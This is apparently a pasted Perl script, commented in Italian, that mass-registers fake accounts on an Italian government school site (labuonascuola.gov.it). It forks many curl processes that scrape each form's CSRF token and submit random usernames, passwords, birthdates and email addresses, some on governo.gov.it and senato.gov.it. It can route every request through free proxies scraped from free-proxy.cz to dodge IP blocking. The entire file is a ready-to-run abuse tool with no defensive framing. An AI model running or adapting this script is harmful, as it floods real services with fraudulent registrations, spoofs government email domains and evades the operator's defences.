· 8 years ago · Sep 06, 2017, 10:58 PM
1#!/usr/bin/perl
2
3use HTTP::Request;
4use HTTP::Request::Common;
5use HTTP::Request::Common qw(POST);
6use LWP::Simple;
7use LWP 5.64;
8use LWP::UserAgent;
9
10
11if ($#ARGV != 4) {
12print "---------------------- H E L P ----------------------\r\n";
13print "Uso: sito - path - numeri di iscrizioni - sock(si/no) - numero threads \r\n";
14print "Esempio: https://labuonascuola.gov.it register/ 10000 no 100\r\n";
15print "---------------------- H E L P ----------------------\r\n";
16exit;
17}
18
19
20my $site = $ARGV[0];
21my $path = $ARGV[1];
22my $iscrizioni = $ARGV[2];
23my $sockc = $ARGV[3];
24my $multipli = $ARGV[4];
25
26if ($site =~ /http:\/\//i || $site =~ /https:\/\//i) {
27}else{
28print "devi inserire l'indirizzo assoluto compreso http-https\r\n";
29exit;
30}
31my $url = $site."/".$path;
32
33if ($sockc eq "si") {
34 &cominciasocks ($url, $iscrizioni, $multipli);
35}
36
37if ($sockc eq "no") {
38 &comincia($url, $iscrizioni, $multipli);
39}
40
41
42sub cominciasocks() {
43my @list_pro =&aaproxy();sleep(1);
44print "Trovati numero $#list_pro socks\r\n";
45my $url = $_[0];
46my $num_isc = $_[1];
47my $multi = $_[2];
48my @childs;
49my $maxproc=$multi;
50my $numproc=0;
51for (my $i=1; $i<=$num_isc; $i++) {
52 if(($pid=fork()) == 0)
53 {
54 my ($proip, $proport) = &proxxy (@list_pro);
55 &connecta ($proip, $proport, $url);
56 exit 0;
57 }
58 push(@childs, $pid);
59 $numproc++;
60 while($numproc >= $maxproc)
61 {
62 waitpid(shift(@childs), 0);
63 $numproc--;
64 }
65 }
66 while($k=shift(@childs))
67 {
68 waitpid($k, 0);
69 }
70}
71
72sub connecta() {
73my $proip = $_[0];
74my $proport = $_[1];
75my $url = $_[2];
76my $toke;
77my $cookiejar = &cookies;
78my $username = &username;
79my $password = &password;
80my $email = &email;
81my $sesso = &sesso;
82my $status = &stato;
83my $giorno = &giorno;
84my $mese = &mese;
85my $anno = &anno;
86my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
87$token1 = `curl -x $proip:$proport -ks -m 10 -c $cookiejar -A "$uagent" --url "$url" 2>/dev/null`;
88if ($token1 =~ /class\=\"form-control\" value\=\"(.*)\"/i) {
89$toke = $1;
90#print "toke $toke\r\n";
91my $data = ("fos_user_registration_form[username]=".$username."&fos_user_registration_form[plainPassword][first]=".$password."&fos_user_registration_form[plainPassword][second]=".$password."&fos_user_registration_form[email]=".$email."&fos_user_registration_form[anagrafica][sesso]=".$sesso."&fos_user_registration_form[anagrafica][dataNascita][day]=".$giorno."&fos_user_registration_form[anagrafica][dataNascita][month]=".$mese."&fos_user_registration_form[anagrafica][dataNascita][year]=".$anno."&fos_user_registration_form[status]=".$status."&fos_user_registration_form[_token]=".$toke."&fos_user_registration_form[anagrafica][disclaimeremail][]=1&fos_user_registration_form[anagrafica][disclaimerprivacy][]=1&Registrati");
92$expl = `curl -x $proip:$proport -ks -m 10 -A "$uagent" -b $cookiejar -d "$data" --url "$url" 2>/dev/null`;
93#print $expl; # solo per controllo output
94print ("Dati Registrazione:Socks:$proip:$proport|Username:$username|Password:$password|Email:$email\r\n");
95 }
96unlink $cookiejar;
97}
98
99sub comincia() {
100my $url = $_[0];
101my $num_isc = $_[1];
102my $multi = $_[2];
103my @childs;
104my $maxproc=$multi;
105my $numproc=0;
106for (my $i=0; $i<=$num_isc; $i++) {
107 if(($pid=fork()) == 0)
108 {
109 &connectb ($url);
110 exit 0;
111 }
112 push(@childs, $pid);
113 $numproc++;
114 while($numproc >= $maxproc)
115 {
116 waitpid(shift(@childs), 0);
117 $numproc--;
118 }
119 }
120while($k=shift(@childs))
121 {
122 waitpid($k, 0);
123 }
124}
125
126sub connectb() {
127my $url = $_[0];
128my $toke;
129my $cookiejar = &cookies;
130my $username = &username;
131my $password = &password;
132my $email = &email;
133my $sesso = &sesso;
134my $status = &stato;
135my $giorno = &giorno;
136my $mese = &mese;
137my $anno = &anno;
138my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
139$token1 = `curl -ks -m 10 -c $cookiejar -A "$uagent" --url "$url" 2>/dev/null`;
140if ($token1 =~ /class\=\"form-control\" value\=\"(.*)\"/i) {
141$toke = $1;
142#print "toke $toke\r\n";
143my $data = ("fos_user_registration_form[username]=".$username."&fos_user_registration_form[plainPassword][first]=".$password."&fos_user_registration_form[plainPassword][second]=".$password."&fos_user_registration_form[email]=".$email."&fos_user_registration_form[anagrafica][sesso]=".$sesso."&fos_user_registration_form[anagrafica][dataNascita][day]=".$giorno."&fos_user_registration_form[anagrafica][dataNascita][month]=".$mese."&fos_user_registration_form[anagrafica][dataNascita][year]=".$anno."&fos_user_registration_form[status]=".$status."&fos_user_registration_form[_token]=".$toke."&fos_user_registration_form[anagrafica][disclaimeremail][]=1&fos_user_registration_form[anagrafica][disclaimerprivacy][]=1&Registrati");
144$expl = `curl -ks -m 10 -A "$uagent" -b $cookiejar -d "$data" --url "$url" 2>/dev/null`;
145#print $expl; # solo per controllo output
146print "Dati Registrazione-- Username: $username Password: $password Email: $email\r\n";
147 }
148unlink $cookiejar;
149}
150
151sub aaproxy() {
152 my @ip_proxy;
153 for ($b=1; $b<=220; $b+=1) {
154 my $siteproxy = ("http://free-proxy.cz/en/proxylist/country/all/all/date/all/".$b);
155 my $resul = &get_content($siteproxy);
156 while ($resul =~ m/<\/div> (.*?)<\/td>\s+<td><span class=\"fport\">(.*?)<\/span>/g) {
157 my $ip_proxy = $1;
158 my $porta_proxy = $2;
159 my $proxy = $1.":".$2;
160 push(@ip_proxy, $proxy);
161 }
162 }
163 return @ip_proxy;
164}
165
166sub username() {
167my $user;
168#sleep(1);
169srand();
170@randomic = ('a'..'z');
171$user.= $randomic[int rand @randomic] for 1..10;
172return $user;
173}
174
175sub password() {
176#sleep(1);
177my $pass;
178srand();
179@randomic = ('a'..'z', '0'..'9');
180$pass.= $randomic[int rand @randomic] for 1..12;
181return $pass;
182}
183
184sub sesso() {
185my $sesso;
186srand();
187my @sex = ('f', 'm');
188my $sesso = $sex[rand @sex];
189return $sesso;
190}
191
192sub email() {
193my $email;
194my $maill;
195srand();
196my @mails = ('gmail.com', 'aruba.it', 'yahoo.com', 'libero.it', 'posteitaliane.it', 'governo.gov.it', 'senato.gov.it', 'italia.gov.it');
197$maill = $mails[rand @mails];
198$email = &username."@".$maill;
199return $email;
200}
201
202sub stato() {
203my $status;
204srand();
205my @stato = ('Studente', 'Docente', 'Dirigente scolastico', 'Personale ATA', 'Genitore', 'Nonno', 'Cittadino', 'altro');
206$status = $stato[rand @stato];
207return $status;
208}
209
210sub giorno() {
211my $giorno;
212$a="1";
213$b="31";
214$giorno = int( rand ($b-$a) ) + $a;
215return $giorno;
216}
217
218sub mese() {
219my $mese;
220$a="3";
221$b="12";
222$mese = int( rand ($b-$a) ) + $a;
223return $mese;
224}
225
226sub anno() {
227my $anno;
228$a="1940";
229$b="2001";
230$anno = int( rand ($b-$a) ) + $a;
231return $anno;
232}
233
234sub cookies() {
235my $cookie1;
236my $cookie;
237#sleep(1);
238srand();
239@randomic = ('0'..'9');
240$cookie1.= $randomic[int rand @randomic] for 1..10;
241$cookie = $cookie1."cookies.tzz";
242return $cookie;
243}
244
245sub proxxy() {
246 sleep(1);
247 srand();
248 my @list_pro = (@_);
249 my $proxyy = $list_pro[rand @list_pro];
250 my ($proip1, $proport1) = split(/:/, $proxyy);
251 return ($proip1, $proport1)
252}
253
254sub get_content() {
255 my $url = $_[0];
256 my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
257 $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 1;
258 my $ua = LWP::UserAgent->new(agent => $uagent);
259 $ua->timeout(5);
260 my $res = $ua->get($url);
261 return $res->decoded_content;
262}